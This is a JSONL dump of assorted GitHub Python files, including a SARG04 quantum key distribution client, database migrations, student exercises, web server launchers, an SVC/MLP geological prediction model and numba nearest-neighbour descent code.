+{"seq_id":"13174143832","text":"from src.aliceServer import AliceServer\nfrom src.utils import randomBits, Photon\n\nclass Alice(AliceServer):\n\n    def protocol(self):\n\n        # Instead of implementing BB84 I implemented:\n        # https://en.wikipedia.org/wiki/SARG04\n        # Good luck!\n\n        num_bits = 200\n        self.sendClassical(num_bits)\n\n        # send photons in random bases\n        values = randomBits(num_bits)\n        bases = randomBits(num_bits)\n\n        for i in range(num_bits):\n            photon = Photon()\n            if values[i] == \"0\" and bases[i] == \"0\": photon.prepH()\n            if values[i] == \"1\" and bases[i] == \"0\": photon.prepV()\n            if values[i] == \"0\" and bases[i] == \"1\": photon.prepD()\n            if values[i] == \"1\" and bases[i] == \"1\": photon.prepA()\n            self.sendPhoton(photon)\n\n        # four pairs of qubit states, one in each basis\n        # 00 10 = {|H>, |D>}\n        # 00 11 = {|H>, |A>}\n        # 01 10 = {|V>, |D>}\n        # 01 11 = {|V>, |A>}\n\n        for i in range(num_bits):\n            # prepare a pair containing my state\n            myQubit = bases[i] + values[i]\n            randQubit = (\"0\" if bases[i] == \"1\" else \"1\") + randomBits(1)\n\n            # swap with 50% chance so my state is not always first\n            if values[i] == \"0\": send = myQubit + randQubit\n            else: send = randQubit + myQubit\n\n            self.sendClassical(send)\n\n        # receieve good positions from Bob\n        good_pos = self.recvClassical()\n        sifted_key = \"\".join([values[i] for i in range(num_bits) if good_pos[i] == \"1\"])\n        sift_len = len(sifted_key)\n\n\n        # share a random half of the bits to Bob\n        shareWhich = randomBits(sift_len)\n        shareBits = \"\"\n        keepBits = \"\"\n        for i in range(sift_len):\n            if shareWhich[i] == \"0\": keepBits += sifted_key[i]\n            if shareWhich[i] == \"1\": shareBits += sifted_key[i]\n        self.sendClassical(shareWhich)\n        self.sendClassical(shareBits)\n\n        # Bob decides if we abort\n        abort = self.recvClassical()\n        if abort == \"abort\": return \"\"\n        return keepBits\n\n\nif __name__ == \"__main__\":\n    aliceServer = Alice(ip='10.147.228.138')\n    # to set a default ip address, use this:\n    #aliceServer = Alice(ip=\"192.168.1.1\")\n    aliceServer.connect()\n","repo_name":"CyberGuy99/QKD-Part2-3","sub_path":"alice.py","file_name":"alice.py","file_ext":"py","file_size_in_byte":2297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71531348883","text":"\"\"\"empty message\n\nRevision ID: f6db461aa99e\nRevises: c15101d9f0cc\nCreate Date: 2019-07-15 19:16:24.851674\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'f6db461aa99e'\ndown_revision = 'c15101d9f0cc'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column('artifact_repository', sa.Column('name', sa.String(), server_default='artifact-repo', nullable=False))\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_column('artifact_repository', 'name')\n    # ### end Alembic commands ###\n","repo_name":"gnydick/orch","sub_path":"migrations/versions/f6db461aa99e_.py","file_name":"f6db461aa99e_.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"33020216106","text":"\nprint(\"this programm is for making the Fibonacci sequence\")\nn=int(input(\"please enter n:\"))\na=0\nb=1\nif n==0:\n    print(\"Invalid number\")\nif n>=1:\n    print(a)\nif n>=2:\n    print(b)\nif n>2:\n    for i in range(2,n):\n        c=a+b\n        a=b\n        b=c\n        print(c)\n\n","repo_name":"ameneahani/assignment","sub_path":"Assignment2/t2_7_Fibonatchi.py","file_name":"t2_7_Fibonatchi.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"13121239526","text":"# Author:   John Marcoux\n# Date:     2019/11/28\n# Version:  1.0\n# Purpose:  Not yet implemented key-bind config library\n\n\"\"\"\nName:       KeyConfig\nPurpose:    See top file comment\nNotes       None\n\"\"\"\nclass KeyConfig:\n    \"\"\"\n    Name:       __init__\n    Purpose:    Initializes the KeyConfig object\n    Arguments:  None\n    Output:     None\n    Modifies:   Creates the object and an empty dict within the object\n    Returns:    The object\n    Assumptions:None\n    Bugs:       None\n    \"\"\"\n    def __init__(self):\n        self.key_binds = {}\n\n    \"\"\"\n    Name:       add_key_bind\n    Purpose:    Allows adding a key-bind to the object\n    Arguments:  The key and sound name\n    Output:     None\n    Modifies:   Changes the key_bind dict\n    Returns:    False if the key is already bound, True if the key was \n                successfully bound to the new sound\n    Assumptions:Only one sound can be bound to a key, key-binds can only have a\n                one key trigger\n    Bugs:       None\n    \"\"\"\n    def add_key_bind(self, key, sound_name):\n        try:\n            self.key_binds[key]\n            return False\n        except:\n            self.key_binds[key] = sound_name\n            return True\n\n    \"\"\"\n    Name:       rem_key_bind\n    Purpose:    Removes a key bind if it exists\n    Arguments:  The key to unbind\n    Output:     None\n    Modifies:   See purpose\n    Returns:    True\n    Assumptions:None\n    Bugs:       None\n    \"\"\"\n    def rem_key_bind(self, key):\n        try:\n            del self.key_binds[key]\n            return True\n        except:\n            return True\n","repo_name":"marcouxjohn/Soundboard","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1588,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"13905875033","text":"#!/usr/bin/python3\r\nimport os\r\nimport re\r\nimport sys\r\n\r\n''' The words contained in the list file must be separated by blanks. '''\r\n\r\n# Check argument list first\r\nif (len(sys.argv)) < 3:\r\n    print ('Please specify directory for the Folder and for the list.')\r\n    print ('eg. \"./histogram.py Folder list.txt\"')\r\n    exit()\r\n\r\n# Files variables\r\nmyFolder = sys.argv[1] #'Folder'\r\nmylist = sys.argv[2] #'list.txt'\r\nmytextfile = ''\r\nmytextfiles = []\r\n\r\nWORDSINLIST = []    # This variable will hold all words in rfList\r\nAPPEARANCE = []    # This variable will hold the number of appearance for all words in rfList\r\n\r\n# Asuming myList is a small file\r\nwith open(mylist, 'r') as rfList:\r\n    lines = list(rfList) # read all lines at once\r\nrfList.close()\r\n\r\n# write all filenames into the mytextfiles list\r\nfor root, dirs, files in os.walk(myFolder):\r\n    for filename in files:\r\n        mytextfiles.append(filename)\r\n\r\ndef testmatch(expression1, expression2, ignorecase):\r\n    my_regex = r\"\\b\"+re.escape(expression1)+r\"\\b\" # set all match criteria here\r\n\r\n    if(ignorecase):\r\n        result = re.match(my_regex, expression2, re.IGNORECASE)\r\n    else:\r\n        result = re.match(my_regex, expression2)\r\n\r\n    if  (result):\r\n        return True\r\n    else:\r\n        return False\r\n\r\n# Get a single word out of a line\r\ndef getword(inputline, index):\r\n    if inputline == \"\":\r\n        return \"\"\r\n    regex = re.compile(r'(\\S+)') # Include all elements with one or more char that are not a blank.\r\n    words = regex.findall(inputline)\r\n    if index >= len(words) or index < 0:\r\n        return \"\"\r\n    return words[index]\r\n\r\ndef parselist():\r\n    # Parse through all lines\r\n    for linenum in range(0, (len(lines))):\r\n        # Parse through all words in lines[linenum]\r\n        wordfromlist ='-'\r\n        i = 0\r\n        while wordfromlist != '':\r\n            wordfromlist = getword(lines[linenum],i)\r\n            if wordfromlist != '':\r\n                # All words in List appear in this line\r\n                WORDSINLIST.append(wordfromlist) # Fill array\r\n                APPEARANCE.append(0) # Initialize APPEARANCE array\r\n            i = i + 1\r\n\r\nparselist()\r\n\r\nprint('...')\r\nprint('')\r\n\r\n# Parse words through all Textfiles\r\nfor i in range(0, (len(mytextfiles))):\r\n    mytextfile = myFolder+'/'+mytextfiles[i]\r\n    with open(mytextfile, 'r') as rfText:\r\n        for linerfText in rfText:\r\n            # All lines within all files in Folder go through this position in code\r\n            wordfromText ='-'\r\n            j = 0\r\n            while wordfromText != '':\r\n                wordfromText = getword(linerfText,j)\r\n                if wordfromText != '':\r\n                    # All words in all Textfiles are processed in this line\r\n                    for m in range(0, (len(WORDSINLIST) - 1)):\r\n                        if testmatch(WORDSINLIST[m], wordfromText, True): # Check all List words for matches\r\n                            APPEARANCE[m] = APPEARANCE[m] + 1\r\n                j = j + 1\r\n    rfText.close()\r\n\r\n#Writing Histogram output\r\nprint('Folder: ', myFolder,'   ','List: ',mylist)\r\nprint('')\r\nprint('Searched Files:')\r\nfor q in range(0, (len(mytextfiles))):\r\n    print('File',(q+1),mytextfiles[q])\r\nprint('')\r\nprint('*********************   HISTOGRAM   *************************')\r\nprint('                                                             ')\r\nprint('     Words in List           Appearance in all Documents     ')\r\nprint('                                                             ')\r\nfor k in range(0, (len(WORDSINLIST) - 1)):\r\n    print('{:>12s}{:^64d}'.format(WORDSINLIST[k],APPEARANCE[k]))\r\n    print('')\r\nprint('*******************  END of HISTOGRAM   *********************')\r\nprint('')\r\n#EOF\r\n","repo_name":"tomerlanzman/linux","sub_path":"histogram.py","file_name":"histogram.py","file_ext":"py","file_size_in_byte":3721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"15929169200","text":"import timeit\nimport threading\n\n\ndef single_thread_main(filename, string_to_count):\n    with open(filename, 'r', encoding='GBK') as file:\n        data = file.read()\n    return data.count(string_to_count)\n\n\nclass multi_thread_main(object):\n    def __init__(self, filename, string_to_count, thread_num):\n        self.filename = filename\n        self.string_to_count = string_to_count\n        self.all_count = 0\n        self.thread_list = []\n        self.thread_num = thread_num\n\n    def split(self, length, data):\n        length_part = length // self.thread_num\n        part_list = []\n        now_index = 0\n        for i in range(self.thread_num):\n            try:\n                part_list.append(data[now_index:now_index + length_part])\n                now_index += length_part\n            except IndexError:\n                part_list.append(data[now_index:])\n        return part_list\n\n    def count(self, string_to_count, part):\n        self.all_count += part.count(string_to_count)\n\n    def run(self):\n        #  work start here\n        with open(filename, 'r', encoding='GBK') as file:\n            data = file.read()\n        length = len(data)\n\n        parts = self.split(length, data)\n\n        for part in parts:\n            t = threading.Thread(target=self.count, args=(self.string_to_count, part))\n            self.thread_list.append(t)\n\n        for t in self.thread_list:\n            t.start()\n\n        for t in self.thread_list:\n            t.join()\n\n        return self.all_count\n\n\nif __name__ == '__main__':\n    filename = '280.txt'\n    string_to_count = input('你要查什么: ')\n    print(single_thread_main(filename, string_to_count))\n    str_func = 'single_thread_main(%s, %s)' % (filename, string_to_count)\n    print('单线程总用时: ' + str(timeit.timeit('str_func', globals=globals())))\n\n    time_dic = {}\n    for i in range(2, 10):\n        str_func2 = 'multi_thread_main(%s, %s, %s).run()' % (filename, string_to_count, i)\n        time_dic[i] = timeit.timeit('str_func2', globals=globals())\n\n\n    least_id = 2\n    t_min = 1\n\n    for t_id, time in time_dic.items():\n        if time < t_min:\n            least_id = t_id\n            t_min = time\n\n    print(least_id, time_dic[least_id])\n","repo_name":"dizzygz/core-python-programming","sub_path":"chapter 4/4-4/threading string count.py","file_name":"threading string count.py","file_ext":"py","file_size_in_byte":2207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18422202027","text":"# global modules\r\nfrom sklearn.svm import SVC\r\nfrom sklearn.neural_network import MLPClassifier\r\nimport numpy as np\r\n# local modules\r\nfrom grid import Grid\r\n\r\nclass PredictionModel:\r\n    \"\"\"Class that creates two classification models: SVC and MLP. Fits them,\r\n    and apply to make binary and probability predictions.\"\"\"\r\n    \r\n    def __init__(self, model_form):\r\n        \"\"\"Function that makes X and Y train-test subsets,\r\n        creates SVC and MLP model and fits them\"\"\"\r\n        # input data\r\n        data = model_form.deposits_to_use\r\n        self.selected_rasters = model_form.selected_rasters\r\n        \r\n        self.xTrain = data.loc[data.Train == 'Train', self.selected_rasters]\r\n        self.xTest = data.loc[data.Train == 'Test', self.selected_rasters]\r\n        self.yTrain = data.loc[data.Train == 'Train', 'Commodity']\r\n        self.yTest = data.loc[data.Train == 'Test', 'Commodity']\r\n        \r\n        self.Y_unique = np.unique(self.yTrain)\r\n        \r\n        # Fit classification models\r\n        self.train_models()\r\n        \r\n    def train_models(self):\r\n        \"\"\"Function fits two models:\r\n        SVC - Support Vector Classifier;\r\n        MLP - Multi-layer Perceptron classifier.\r\n        Output - dict with classification scores on train-test subsets,\r\n        and fitted models\"\"\"\r\n        \r\n        # Create SVC model\r\n        self.model_SVC = SVC(gamma=2, C=2, probability=True).fit(self.xTrain, self.yTrain)\r\n        #  Matrices of classification (test subset)\r\n        self.yPred_SVC = self.model_SVC.predict(self.xTest)\r\n        \r\n        # Create MLP model\r\n        self.model_MLP = MLPClassifier(solver = \"sgd\", \r\n                                       learning_rate = \"constant\", \r\n                                       momentum = 0.9, \r\n                                       nesterovs_momentum = True, \r\n                                       learning_rate_init = 0.2,\r\n                                       validation_fraction = 0.2\r\n                                       ).fit(self.xTrain, self.yTrain)\r\n        #  Matrices of classification (test subset)\r\n        self.yPred_MLP = self.model_MLP.predict(self.xTest)\r\n        \r\n        # Show overal result\r\n        self.scores = {}\r\n        self.scores['train_SVC'] = self.model_SVC.score(self.xTrain, self.yTrain)\r\n        self.scores['test_SVC'] = self.model_SVC.score(self.xTest, self.yTest)\r\n        self.scores['train_MLP'] = self.model_MLP.score(self.xTrain, self.yTrain)\r\n        self.scores['test_MLP'] = self.model_MLP.score(self.xTest, self.yTest)\r\n        \r\n    def make_prediction(self, multi_img, multiband_names, meta, site_key, **kwargs):\r\n        \"\"\"\r\n        Function applies a classification model to input multiband raster\r\n        and returns pediction rasters for each class.\"\"\"\r\n        \r\n        # unpack **kwargs - they should contain bool for saving params\r\n        svc_bool = kwargs.get('svc_bool', False)\r\n        mlp_bool = kwargs.get('mlp_bool', True)\r\n        binary_bool = kwargs.get('binary_bool', False)\r\n        \r\n        # Index of selected rasters in multiband_names\r\n        selected_rasters_idx = [multiband_names.index(item) for item \r\n                                                in self.selected_rasters]\r\n        \r\n        # Create subset of selected layers in multiband raster\r\n        # and reshape it to 2D array, where feature equals column\r\n        multi_img_selected = multi_img[selected_rasters_idx,::]\r\n        multi_img_1d = multi_img_selected.ravel().reshape(-1, len(self.selected_rasters), order = 'F')\r\n        \r\n        # Check if NaN values exist and create a mask for Nan rows\r\n        nan_exist = False\r\n        true_shape = multi_img.shape[1:3] # raster size\r\n        if np.isnan(multi_img_1d).any(): # check NaN presence\r\n            nan_exist = True\r\n            # create indice vector of NaN values\r\n            idx_nan = np.isnan(multi_img_1d).any(axis=1)\r\n            # Create subse 'not a NaN'. It will be an input to a model \r\n            multi_img_1d = multi_img_1d[~np.isnan(multi_img_1d).any(axis=1)]\r\n        else:\r\n            idx_nan = None\r\n        \r\n        # Apply a classification model\r\n        imgs_pred = {}\r\n        predictions_structure = {}\r\n        if svc_bool:\r\n            pred_1d_SVC = self.model_SVC.predict_proba(multi_img_1d)\r\n            predictions_structure['SVC'] = []\r\n        if mlp_bool:\r\n            pred_1d_MLP = self.model_MLP.predict_proba(multi_img_1d)\r\n            predictions_structure['MLP'] = []\r\n        \r\n        # Reshape 1D to 2D raster\r\n        def get_prediction_2d(nan_exist, true_shape, idx_nan, pred_1d):\r\n            \"\"\" Function reshapes 1D prediction to 2D vectors. \r\n            It assigns NaN values if they existed in an initial raster.\"\"\"\r\n            if nan_exist:\r\n                # vector with NaN-values\r\n                true_array = np.empty(true_shape[0]*true_shape[1])\r\n                true_array.fill(np.nan)\r\n                # input predictions\r\n                true_array[~idx_nan] = pred_1d\r\n                # reshape into 2D\r\n                z_array = np.reshape(true_array, true_shape)\r\n            else:\r\n                z_array = np.reshape(pred_1d, true_shape)\r\n            return z_array\r\n        \r\n        # get predictions for selected class\r\n        for i, item in enumerate(self.Y_unique): # loop by classes names\r\n            #  SVC\r\n            if svc_bool:\r\n                # calc probabilities\r\n                z_SVC = get_prediction_2d(nan_exist, true_shape, \r\n                                          idx_nan, pred_1d_SVC[:,i])\r\n                # write it into dict-storage\r\n                name = site_key + ' SVC '+item\r\n                imgs_pred['SVC '+ item] = Grid(load = False, grid_name = name, \r\n                                               parent = '', img = z_SVC, \r\n                                               meta = meta)\r\n                # write it name into structure\r\n                predictions_structure['SVC'].append(item)\r\n            \r\n            # MLP\r\n            if mlp_bool:\r\n                # get probabilities\r\n                z_MLP = get_prediction_2d(nan_exist, true_shape, \r\n                                          idx_nan, pred_1d_MLP[:,i])\r\n                # write it name into dict-storage\r\n                name = site_key + ' MLP '+item\r\n                imgs_pred['MLP ' + item] = Grid(load = False, grid_name = name, \r\n                                                parent = '', img = z_MLP, \r\n                                                meta = meta)\r\n                # write it name into structure\r\n                predictions_structure['MLP'].append(item)\r\n        \r\n        # get binary predictions of selected class\r\n        if binary_bool:\r\n            # SVC-binary\r\n            if svc_bool:\r\n                groups_SVC = self.model_SVC.predict(multi_img_1d)\r\n                for group in self.Y_unique:\r\n                    array = np.array(groups_SVC == group).astype(int)\r\n                    z_binary = get_prediction_2d(nan_exist, true_shape, \r\n                                                             idx_nan, array)\r\n                    # write it name into dict-storage\r\n                    name = site_key + ' SVC ' + group + ' binary'\r\n                    imgs_pred['SVC '+ group + ' binary'] = Grid(load = False, \r\n                                                grid_name = name, parent = '', \r\n                                                img = z_binary, meta = meta)\r\n                    # write it name into structure\r\n                    predictions_structure['SVC'].append(group + ' binary')\r\n            \r\n            # MLP-binary\r\n            if mlp_bool:\r\n                groups_MLP = self.model_MLP.predict(multi_img_1d)\r\n                for group in self.Y_unique:\r\n                    array = np.array(groups_MLP == group).astype(int)\r\n                    z_binary = get_prediction_2d(nan_exist, true_shape, \r\n                                                             idx_nan, array)\r\n                    # write it name into dict-storage\r\n                    name = site_key + ' MLP ' + group + ' binary'\r\n                    imgs_pred['MLP '+ group + ' binary'] = Grid(load = False, \r\n                                                grid_name = name, parent = '', \r\n                                                img = z_binary, meta = meta)\r\n                    # write it name into structure\r\n                    predictions_structure['MLP'].append(group + ' binary')\r\n        \r\n        return imgs_pred, predictions_structure\r\n    ","repo_name":"sepgeo/prognoz","sub_path":"prediction_model.py","file_name":"prediction_model.py","file_ext":"py","file_size_in_byte":8566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"41614257607","text":"import pathlib\nimport sys\nfrom aiohttp import web\nfrom WWW.WebService.NewsService import NewsService\nfrom WWW.WebService.PriceService import PriceService\nfrom WWW.WebService.WikiTweetService import WikiTweetService\nfrom WWW.WebService.NewsRecordService import NewsRecordService\n# Mongo\n\n\nclass WebManager(object):\n\n    def __init__(self):\n        self.app = web.Application()\n        self.news = NewsService()\n        self.price = PriceService()\n        self.wt = WikiTweetService()\n        self.record = NewsRecordService()\n\n    def add_static_files(self):\n        path = str(pathlib.Path(__file__).parent / 'Static')\n        self.app.router.add_static('/Static', path, show_index=True)\n        self.app.router.add_get('/', self.home_redirect)\n        self.app.router.add_get('/favicon.ico', self.fav_redirect)\n\n    @staticmethod\n    async def home_redirect(request):\n        return web.HTTPFound('/Static/index.html')  # Will not redirect for a few seconds.\n\n    @staticmethod\n    async def fav_redirect(request):\n        return web.HTTPFound('/Static/favicon.ico')  # Will not redirect for a few seconds.\n\n    def add_news_root(self):\n        self.news.add_news(self.app)\n        self.price.add_price(self.app)\n        self.wt.add_wt(self.app)\n        self.record.add_record(self.app)\n\n    def run(self):\n        web.run_app(self.app)\n\n\nif __name__ == \"__main__\":\n    web_manager = WebManager()\n    web_manager.add_static_files()\n    web_manager.add_news_root()\n    web_manager.run()\n","repo_name":"KaanYT/PricePrediction","sub_path":"WWW/WebManager.py","file_name":"WebManager.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"42929678365","text":"from flask import Flask, request, render_template, redirect\nfrom flask_restful import Resource, Api\n\nfrom CollocationController import CollocationController\nfrom MorphAnalysisController import MorphAnalysisController\nfrom DialogAgentController import DialogAgentController\n\nclass Server():\n    def __init__(self):\n        self.app = Flask(\"Web Application\", static_url_path = \"\") #static_url_path = \"\" включает index.html\n        self.api = Api(self.app)\n        self.controllers = []\n\n        self.InitializeControllers()\n\n    def InitializeControllers(self):\n        # Add redirect to main page resource \n        self.api.add_resource(self.MainPage, '/')\n\n        self.controllers.append(CollocationController(self.api))\n        self.controllers.append(MorphAnalysisController(self.api)) \n        self.controllers.append(DialogAgentController(self.api))       \n        self.Run(True)\n\n    def Run(self, _debug=False):\n        self.app.run(debug=_debug)\n\n    class MainPage(Resource):\n        def get(self):\n            return redirect(\"http://localhost:5000/index.html\", code=302)\n\n \nif __name__ == '__main__':\n    server = Server()\n    #server.Run(True)","repo_name":"Swagnis/VKR","sub_path":"Server.py","file_name":"Server.py","file_ext":"py","file_size_in_byte":1164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"35441385414","text":"class Salesman:\n\n    def __init__ (self, name, region, basicPay):\n        self.name = name\n        self.region = region\n        self.basicPay = eval(basicPay)\n        if region == 'Delhi':\n            self.HRA  = 4000\n        elif region == 'Mumbai':\n            self.HRA = 8000\n        self.salary = self.grossSalary()\n\n    def grossSalary(self):\n        return self.basicPay + self.HRA\n\n    def display(self):\n        info = f'''\n            Salesman Info\n            -------------------\n            Name: {self.name}\n            Region: {self.region}\n            Basic Pay: Rupees {self.basicPay}\n            HRA: Rupees {self.HRA}\n            Salary: Rupees {self.salary}\n            '''\n        print(info)\n\nsalesman1 = Salesman('Raman', 'Delhi', '20000')\nsalesman2 = Salesman('Aman', 'Mumbai', '20000')\nsalesman1.display()\nsalesman2.display()","repo_name":"itsanshulverma/du-cs-undergrad-course","sub_path":"Semester3/PythonSEC/Exams/ques3.py","file_name":"ques3.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"3"}
+{"seq_id":"33384216050","text":"# Author: Leland McInnes <leland.mcinnes@gmail.com>\n#\n# License: BSD 2 clause\n\nimport numba\nimport numpy as np\n\nimport tdc.distances as dist\n\nfrom tdc.utils import (rejection_sample,\n                               make_heap,\n                               heap_push,\n                               unchecked_heap_push,\n                               deheap_sort,\n                               smallest_flagged,\n                               build_candidates)\n\nfrom tdc.rp_trees import (make_euclidean_tree,\n                                  make_angular_tree,\n                                  flatten_tree,\n                                  search_flat_tree)\n\nINT32_MIN = np.iinfo(np.int32).min + 1\nINT32_MAX = np.iinfo(np.int32).max - 1\n\n\ndef make_initialisations(dist, dist_args):\n    @numba.njit(parallel=True)\n    def init_from_random(n_neighbors, data, query_points, heap, rng_state):\n        for i in range(query_points.shape[0]):\n            indices = rejection_sample(n_neighbors, data.shape[0],\n                                       rng_state)\n            for j in range(indices.shape[0]):\n                if indices[j] < 0:\n                    continue\n                d = dist(data[indices[j]], query_points[i], *dist_args)\n                heap_push(heap, i, d, indices[j], 1)\n        return\n\n    @numba.njit(parallel=True)\n    def init_from_tree(tree, data, query_points, heap, rng_state):\n        for i in range(query_points.shape[0]):\n            indices = search_flat_tree(query_points[i], tree.hyperplanes,\n                                       tree.offsets, tree.children, tree.indices,\n                                       rng_state)\n\n            for j in range(indices.shape[0]):\n                if indices[j] < 0:\n                    continue\n                d = dist(data[indices[j]], query_points[i], *dist_args)\n                heap_push(heap, i, d, indices[j], 1)\n\n        return\n\n    return init_from_random, init_from_tree\n\n\ndef initialise_search(forest, data, query_points, n_neighbors,\n                      init_from_random, init_from_tree, rng_state):\n    results = make_heap(query_points.shape[0], n_neighbors)\n    init_from_random(n_neighbors, data, query_points, results, rng_state)\n    if forest is not None:\n        for tree in forest:\n            init_from_tree(tree, data, query_points, results, rng_state)\n\n    return results\n\n\ndef make_initialized_nnd_search(dist, dist_args):\n    @numba.njit(parallel=True)\n    def initialized_nnd_search(data,\n                               indptr,\n                               indices,\n                               initialization,\n                               query_points):\n\n        for i in numba.prange(query_points.shape[0]):\n\n            tried = set(initialization[0, i])\n\n            while True:\n\n                # Find smallest flagged vertex\n                vertex = smallest_flagged(initialization, i)\n\n                if vertex == -1:\n                    break\n                candidates = indices[indptr[vertex]:indptr[vertex + 1]]\n                for j in range(candidates.shape[0]):\n                    if candidates[j] == vertex or candidates[j] == -1 or \\\n                            candidates[j] in tried:\n                        continue\n                    d = dist(data[candidates[j]], query_points[i], *dist_args)\n                    unchecked_heap_push(initialization, i, d, candidates[j], 1)\n                    tried.add(candidates[j])\n\n        return initialization\n\n    return initialized_nnd_search\n\n\ndef make_nn_descent(dist, dist_args):\n    \"\"\"Create a numba accelerated version of nearest neighbor descent\n    specialised for the given distance metric and metric arguments. Numba\n    doesn't support higher order functions directly, but we can instead JIT\n    compile the version of NN-descent for any given metric.\n\n    Parameters\n    ----------\n    dist: function\n        A numba JITd distance function which, given two arrays computes a\n        dissimilarity between them.\n\n    dist_args: tuple\n        Any extra arguments that need to be passed to the distance function\n        beyond the two arrays to be compared.\n\n    Returns\n    -------\n    A numba JITd function for nearest neighbor descent computation that is\n    specialised to the given metric.\n    \"\"\"\n\n    @numba.njit(parallel=True)\n    def nn_descent(data, n_neighbors, rng_state, max_candidates=50,\n                   n_iters=10, delta=0.001, rho=0.5,\n                   rp_tree_init=True, leaf_array=None, verbose=False):\n        n_vertices = data.shape[0]\n\n        current_graph = make_heap(data.shape[0], n_neighbors)\n        for i in range(data.shape[0]):\n            indices = rejection_sample(n_neighbors, data.shape[0], rng_state)\n            for j in range(indices.shape[0]):\n                d = dist(data[i], data[indices[j]], *dist_args)\n                heap_push(current_graph, i, d, indices[j], 1)\n                heap_push(current_graph, indices[j], d, i, 1)\n\n        if rp_tree_init:\n            for n in range(leaf_array.shape[0]):\n                tried = set([(-1, -1)])\n                for i in range(leaf_array.shape[1]):\n                    if leaf_array[n, i] < 0:\n                        break\n                    for j in range(i + 1, leaf_array.shape[1]):\n                        if leaf_array[n, j] < 0:\n                            break\n                        if (leaf_array[n, i], leaf_array[n, j]) in tried:\n                            continue\n                        d = dist(data[leaf_array[n, i]], data[leaf_array[n, j]],\n                                 *dist_args)\n                        heap_push(current_graph, leaf_array[n, i], d,\n                                  leaf_array[n, j],\n                                  1)\n                        heap_push(current_graph, leaf_array[n, j], d,\n                                  leaf_array[n, i],\n                                  1)\n                        tried.add((leaf_array[n, i], leaf_array[n, j]))\n\n        for n in range(n_iters):\n\n            (new_candidate_neighbors,\n             old_candidate_neighbors) = build_candidates(current_graph,\n                                                         n_vertices,\n                                                         n_neighbors,\n                                                         max_candidates,\n                                                         rng_state, rho)\n\n            c = 0\n            for i in range(n_vertices):\n                for j in range(max_candidates):\n                    p = int(new_candidate_neighbors[0, i, j])\n                    if p < 0:\n                        continue\n                    for k in range(j, max_candidates):\n                        q = int(new_candidate_neighbors[0, i, k])\n                        if q < 0:\n                            continue\n\n                        d = dist(data[p], data[q], *dist_args)\n                        c += heap_push(current_graph, p, d, q, 1)\n                        c += heap_push(current_graph, q, d, p, 1)\n\n                    for k in range(max_candidates):\n                        q = int(old_candidate_neighbors[0, i, k])\n                        if q < 0:\n                            continue\n\n                        d = dist(data[p], data[q], *dist_args)\n                        c += heap_push(current_graph, p, d, q, 1)\n                        c += heap_push(current_graph, q, d, p, 1)\n\n\n            if c <= delta * n_neighbors * data.shape[0]:\n                break\n\n        return deheap_sort(current_graph)\n\n    return nn_descent\n\ndef make_heap_initializer(dist, dist_args):\n    \"\"\"Create a numba accelerated version of heap initialization for the\n    alternative k-neighbor graph algorithm. This approach builds two heaps\n    of neighbors simultaneously, one is a heap used to construct a very\n    approximate k-neighbor graph for searching; the other is the\n    initialization for searching.\n\n    Parameters\n    ----------\n    dist: function\n        A numba JITd distance function which, given two arrays computes a\n        dissimilarity between them.\n\n    dist_args: tuple\n        Any extra arguments that need to be passed to the distance function\n        beyond the two arrays to be compared.\n\n    Returns\n    -------\n    A numba JITd function for for heap initialization that is\n    specialised to the given metric.\n    \"\"\"\n\n    @numba.njit(parallel=True)\n    def initialize_heaps(data, n_neighbors, leaf_array):\n        graph_heap = make_heap(data.shape[0], 10)\n        search_heap = make_heap(data.shape[0], n_neighbors * 2)\n        tried = set([(-1, -1)])\n        for n in range(leaf_array.shape[0]):\n            for i in range(leaf_array.shape[1]):\n                if leaf_array[n, i] < 0:\n                    break\n                for j in range(i + 1, leaf_array.shape[1]):\n                    if leaf_array[n, j] < 0:\n                        break\n                    if (leaf_array[n, i], leaf_array[n, j]) in tried:\n                        continue\n\n                    d = dist(data[leaf_array[n, i]], data[leaf_array[n, j]],\n                             *dist_args)\n                    unchecked_heap_push(graph_heap, leaf_array[n, i], d,\n                              leaf_array[n, j], 1)\n                    unchecked_heap_push(graph_heap, leaf_array[n, j], d,\n                              leaf_array[n, i], 1)\n                    unchecked_heap_push(search_heap, leaf_array[n, i], d,\n                                        leaf_array[n, j], 1)\n                    unchecked_heap_push(search_heap, leaf_array[n, j], d,\n                                        leaf_array[n, i], 1)\n                    tried.add((leaf_array[n, i], leaf_array[n, j]))\n\n        return graph_heap, search_heap\n\n    return initialize_heaps\n\n","repo_name":"lmcinnes/tdc","sub_path":"tdc/nndescent.py","file_name":"nndescent.py","file_ext":"py","file_size_in_byte":9765,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"}
